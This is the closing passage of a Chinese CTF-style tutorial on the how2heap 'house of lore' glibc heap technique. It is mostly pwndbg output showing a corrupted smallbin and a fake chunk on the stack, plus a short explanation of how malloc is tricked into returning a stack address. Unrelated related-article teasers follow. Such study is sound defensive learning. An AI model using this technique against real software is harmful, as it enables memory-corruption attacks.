   f 3     7fffffffe6a8
   f 4        1f7b99608
Breakpoint /ctf/work/how2heap/house_of_lore.c:63
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000071
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000070      0x00000000000003f1
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00

pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    

largebins
empty
pwndbg> 
 

再一次malloc将返回fake chunk 1的地址,地址在栈上且我们能够控制。​ 于是我们就成功地骗过了malloc在栈上分配了一个chunk。在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8

最后再想一下,其实最初的victim chunk使用fast chunk也是可以的,其释放后虽然是被加入到 fast bins中,而不是unsorted bin,但malloc之后,也会被整理到small bins里。自行尝试吧。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1445405.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《Git 简易速速上手小册》第4章:Git 与团队合作(2024 最新版)

文章目录 4.1 协作流程简介4.1.1 基础知识讲解4.1.2 重点案例&#xff1a;为 Python Web 应用添加新功能4.1.3 拓展案例 1&#xff1a;使用 CI/CD 流程自动化测试4.1.4 拓展案例 2&#xff1a;处理 Pull Request 中的反馈 4.2 使用 Pull Requests4.2.1 基础知识讲解4.2.2 重点案…

【Linux系统 04】OpenEuler配置

目录 一、镜像文件下载 二、配置静态IP 三、启动SSH连接 四、免密登录 五、安装常用软件 一、镜像文件下载 官方下载地址&#xff1a;openEuler下载 | 欧拉系统ISO镜像 | openEuler社区官网 选择一个版本&#xff0c;lopenEuler通常有两种版本&#xff1a; 创新版&…

VTK 三维场景的基本要素(相机) vtkCamera 相机的运动

相机的运动 当物体在处于静止位置时&#xff0c;相机可以在物体周围移动&#xff0c;摄取不同角度的图像 移动 移动分为相机的移动&#xff0c;和相机焦点的移动&#xff1b;移动改变了相机相对焦点的位置&#xff0c;离焦点更近或者更远&#xff1b;这样就会改变被渲染的物体…

ZigBee学习——在官方例程实现组网

✨Z-Stack版本&#xff1a;3.0.2 ✨IAR版本&#xff1a;10.10.1 ✨这篇博客是在善学坊BDB组网实验的基础上进行完善&#xff0c;并指出实现的过程中会出现的各种各样的问题&#xff01; 善学坊教程地址&#xff1a; ZigBee3.0 BDB组网实验 文章目录 一、基础工程选择二、可能遇…

耳机壳UV树脂制作耳机壳的工艺流程是什么?

使用耳机壳UV树脂制作耳机壳的工艺流程如下&#xff1a; 获取耳模&#xff1a;首先&#xff0c;需要获取用户的耳模。这通常是通过使用一种柔软的材料注入到用户的耳朵中&#xff0c;然后取出并用来制作耳机的内芯。选择UV树脂&#xff1a;接下来&#xff0c;需要选择合适的UV…

小游戏和GUI编程(6) | 基于 SFML 的井字棋

小游戏和GUI编程(6) | 基于 SFML 的井字棋 0. 简介 使用 SFML 实现井字棋(tic-tac-toe), 规划如下: 了解规则&#xff0c; 使用命令行实现(已经实现了)使用 SFML&#xff0c;提供极简的交互(预计 1 小时)制作 SVG 图像&#xff0c; 美化界面(预计 1 小时) 1. 基于命令行的实…

160基于matlab的负熵和峭度信号的盲分离

基于matlab的负熵和峭度信号的盲分离。基于峭度的FastICA算法的收敛速度要快&#xff0c;迭代次数比基于负熵的FastICA算法少四倍以上。SMSE随信噪比增大两种判据下的FastICA算法都逐渐变小&#xff0c;但是基于峭度的算法的SMSE更小&#xff0c;因此基于峭度的FastICA算法性能…

Spark MLlib

目录 一、Spark MLlib简介 &#xff08;一&#xff09;什么是机器学习 &#xff08;二&#xff09;基于大数据的机器学习 &#xff08;三&#xff09;Spark机器学习库MLlib 二、机器学习流水线 &#xff08;一&#xff09;机器学习流水线概念 &#xff08;二&#xff09…

车载电子电器架构 —— 电子电气系统控制器开发体系

车载电子电器架构 —— 电子电气系统控制器开发 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费…

idea:如何连接数据库

1、在idea中打开database: 2、点击 ‘’ ---> Data Source ---> MySQL 3、输入自己的账号和密码其他空白处可以不填&#xff0c;用户和密码可以在自己的mysql数据库中查看 4、最后选择自己需要用的数据库&#xff0c;点击运用ok&#xff0c;等待刷新即可 最后&#xff1a…

《CSS 简易速速上手小册》第9章:CSS 最佳实践(2024 最新版)

文章目录 9.1 维护大型项目的 CSS9.1.1 基础知识9.1.2 重点案例&#xff1a;构建一个可复用的 UI 组件库9.1.3 拓展案例 1&#xff1a;优化现有项目的 CSS 结构9.1.4 拓展案例 2&#xff1a;实现主题切换功能 9.2 BEM、OOCSS 和 SMACSS 方法论9.2.1 基础知识9.2.2 重点案例&…

【从Python基础到深度学习】3. Winscp与Ubuntu使用及配置

一、Ubuntu的使用 1.1 开启与关闭 1.2 修改Ubuntu分辨率 选择适合自己电脑大小的分辨率 1.3 Ubuntu终端 1.4 网络测试 终端中输入&#xff1a; ping www.baidu.com ctr C 退出ping命令 1.5 下载软件 连通安装源 sudo apt update 安装 ssh vim sudo apt install ss…

零基础学python之高级编程(2)---面向对象编程组合用法及其继承特性

面向对象编程组合用法及其继承特性 文章目录 面向对象编程组合用法及其继承特性前言一、面向对象编程组合用法1 直接在类中创建实例化对象2 给入参数&#xff0c;在结尾给一个类实例化传参变成对象&#xff0c;然后再在另一个类中传入对象参数 二、面向对象编程----继承1.继承定…

浅谈人工智能之深度学习~

目录 前言&#xff1a;深度学习的进展 一&#xff1a;深度学习的基本原理和算法 二&#xff1a;深度学习的应用实例 三&#xff1a;深度学习的挑战和未来发展方向 四&#xff1a;深度学习与机器学习的关系 五&#xff1a;深度学习与人类的智能交互 悟已往之不谏&#xff0…

2023年智能可穿戴行业市场分析(电商数据查询分析):智能手表销额增长21%,手环明显下滑

近年来&#xff0c;随着技术的进步&#xff0c;智能可穿戴设备在社交网络、医疗保健、导航等诸多领域有着非常广泛的应用&#xff0c;这为大众生活带来了诸多便利。 当前的可穿戴产品形态纷繁多样&#xff0c;主要包括智能手表、智能眼镜、智能手环、健康穿戴和体感控制等等&am…

Unity学习笔记(零基础到就业)|Chapter02:C#基础

Unity学习笔记&#xff08;零基础到就业&#xff09;&#xff5c;Chapter02:C#基础 前言一、复杂数据&#xff08;变量&#xff09;类型part01&#xff1a;枚举数组1.特点2.枚举&#xff08;1&#xff09;基本概念&#xff08;2&#xff09;申明枚举变量&#xff08;3&#xff…

生态位模拟——草稿笔记

文章目录 前言ENM初识一、所需软件安装1.1. 下载ArcGIS软件&#xff1a;1.2. 下载 MaxEnt软件&#xff1a;1.3. 下载ENMtools&#xff1a; 二、数据准备与处理2.1. 物种分布数据2.2. 环境因子数据2.3. 地图数据2.4. 物种分布点去冗余2.4.1. 使用spThin包中的thin函数2.4.2. 或者…

使用耳机壳UV树脂制作私模定制耳塞有什么优点和缺点呢?

使用耳机壳UV树脂制作私模定制耳塞具有以下优点&#xff1a; 个性化定制&#xff1a;UV树脂可以根据用户的耳型进行个性化定制&#xff0c;使耳塞与用户的耳朵形状完美契合&#xff0c;提高舒适度和佩戴稳定性。高强度和耐磨性&#xff1a;UV树脂具有高强度和耐磨性&#xff0…

Spring Native 解放 JVM

一、Spring Native 是什么 Spring Native可以通过GraalVM将Spring应用程序编译成原生镜像&#xff0c;提供了一种新的方式来部署Spring应用。与Java虚拟机相比&#xff0c;原生镜像可以在许多场景下降低工作负载&#xff0c;包括微服务&#xff0c;函数式服务&#xff0c;非常…

C语言printf函数详解..

1.printf函数解析 前面我们有讲过printf函数的格式为&#xff1a; printf(“占位1 占位2 占位3……”, 替代1, 替代2, 替代3……); 今天我们进一步深入的解析一下这个函数 2.printf函数的特点 1.printf函数是一个变参函数(即参数的数量和类型都不确定) 2.printf函数的第一个…